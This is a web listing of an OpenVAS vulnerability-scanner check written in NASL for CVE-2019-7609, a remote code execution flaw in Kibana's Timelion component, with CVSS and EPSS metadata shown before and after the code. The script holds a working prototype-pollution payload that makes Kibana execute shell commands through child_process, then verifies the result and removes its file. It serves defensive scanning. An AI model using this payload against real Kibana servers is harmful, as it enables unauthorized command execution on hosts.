Lucene search

K
openvasCopyright (C) 2019 Greenbone Networks GmbHOPENVAS:1361412562310143092
HistoryNov 06, 2019 - 12:00 a.m.

Elastic Kibana < 5.6.15, 6.x.x < 6.6.1 RCE Vulnerability - Active Check

2019-11-0600:00:00
Copyright (C) 2019 Greenbone Networks GmbH
plugins.openvas.org
56

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

10

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

AI Score

9.9

Confidence

High

EPSS

0.973

Percentile

99.9%

Kibana contains an arbitrary code execution flaw in the Timelion
visualizer.

# Copyright (C) 2019 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:elastic:kibana";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.143092");
  script_version("2022-08-09T10:11:17+0000");
  script_tag(name:"last_modification", value:"2022-08-09 10:11:17 +0000 (Tue, 09 Aug 2022)");
  script_tag(name:"creation_date", value:"2019-11-06 03:31:33 +0000 (Wed, 06 Nov 2019)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-10-19 18:09:00 +0000 (Mon, 19 Oct 2020)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2019-7609");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Elastic Kibana < 5.6.15, 6.x.x < 6.6.1 RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2019 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_elastic_kibana_detect_http.nasl", "os_detection.nasl");
  script_mandatory_keys("elastic/kibana/detected");
  script_require_ports("Services/www", 5601);

  script_tag(name:"summary", value:"Kibana contains an arbitrary code execution flaw in the Timelion
  visualizer.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP requests and checks the response.");

  script_tag(name:"insight", value:"An attacker with access to the Timelion application could send a
  request that will attempt to execute javascript code. This could possibly lead to an attacker
  executing arbitrary commands with permissions of the Kibana process on the host system.

  On May 07, 2021 the NCSC, CISA, FBI and NSA publish advice on detection and mitigation of SVR
  activity following the attribution of the SolarWinds compromise. This VT is covering one or more
  vulnerabilities mentioned in that report.");

  script_tag(name:"affected", value:"Kibana versions before 5.6.15 and 6.0.0 before 6.6.1.");

  script_tag(name:"solution", value:"Update to version 5.6.15, 6.6.1 or later.");

  script_xref(name:"URL", value:"https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077");
  script_xref(name:"URL", value:"https://github.com/LandGrey/CVE-2019-7609/");
  script_xref(name:"URL", value:"https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

vt_strings = get_vt_strings();
file = vt_strings["lowercase_rand"] + ".txt";
xsrf_str = vt_strings["default"];

url = dir + "/api/timelion/run";
headers = make_array("Content-Type", "application/json",
                     "kbn-xsrf", xsrf_str);

cmds  = exploit_commands();

foreach cmd (keys(cmds)) {
  data = '{"sheet":[".es(*).props(label.__proto__.env.AAAA=\'require(\\"child_process\\").exec(\\"' +
         cmds[cmd] + ' > src/ui/public/assets/favicons/' + file +
         '\\");process.exit()//\').props(label.__proto__.env.NODE_OPTIONS=\'--require /proc/self/environ\')"]' +
         ',"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}';


  req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
  res = http_keepalive_send_recv(port: port, data: req);
  if (res !~ "^HTTP/1\.[01] 200")
    continue;

  trigger = dir + "/socket.io/?EIO=3&transport=polling&t=MtjhZoM";
  req  = http_get_req(port: port, url: trigger, add_headers: headers);
  res = http_keepalive_send_recv(port: port, data: req);

  sleep(5);

  check_url = dir + "/ui/favicons/" + file;
  req = http_get(port: port, item: check_url);
  res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

  if (egrep(pattern: cmd, string: res)) {
    report = 'It was possible to execute the "' + cmds[cmd] + '" command.\n\nResult:\n\n' + res;
    security_message(port: port, data: report);

    # Cleanup
    if (cmd == "ipconfig")
      delete = "del";
    else
      delete = "rm";

    data = '{"sheet":[".es(*).props(label.__proto__.env.AAAA=\'require(\\"child_process\\").exec(\\"' +
           delete + ' src/ui/public/assets/favicons/' + file +
           '\\");process.exit()//\').props(label.__proto__.env.NODE_OPTIONS=\'--require /proc/self/environ\')"]' +
           ',"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}';
    req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
    res = http_keepalive_send_recv(port: port, data: req);
    req = http_get_req(port: port, url: trigger, add_headers: headers);
    res = http_keepalive_send_recv(port: port, data: req);

    exit(0);
  }
}

exit(0);

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

10

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

AI Score

9.9

Confidence

High

EPSS

0.973

Percentile

99.9%